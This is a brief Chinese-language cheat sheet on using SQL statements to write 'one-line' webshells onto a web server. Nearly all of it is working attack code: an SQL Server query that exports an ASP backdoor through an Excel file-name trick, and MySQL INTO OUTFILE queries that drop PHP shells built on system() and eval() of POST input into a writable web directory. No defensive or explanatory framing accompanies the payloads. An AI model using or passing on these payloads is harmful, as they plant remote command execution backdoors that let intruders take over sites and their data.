SQLServer执行SQL语句生成一句话

select ‘<%execute request("a")%>‘ into [NB_master] in
 ‘d:\wwwroot\x.asp;a.xls‘‘excel 8.0;‘ from NB_master;

select "<?php @system($_POST["cmd"]);?>" into outfile 
"/home/webaccount/projectname/www/*.php";

create table a (cmd text not null); insert into a(cmd) values(‘<?php eval($_POST[cmd]);?>‘);
select cmd from a into outfile ‘网站可写路径/一句话马名.php‘; drop table if exists a;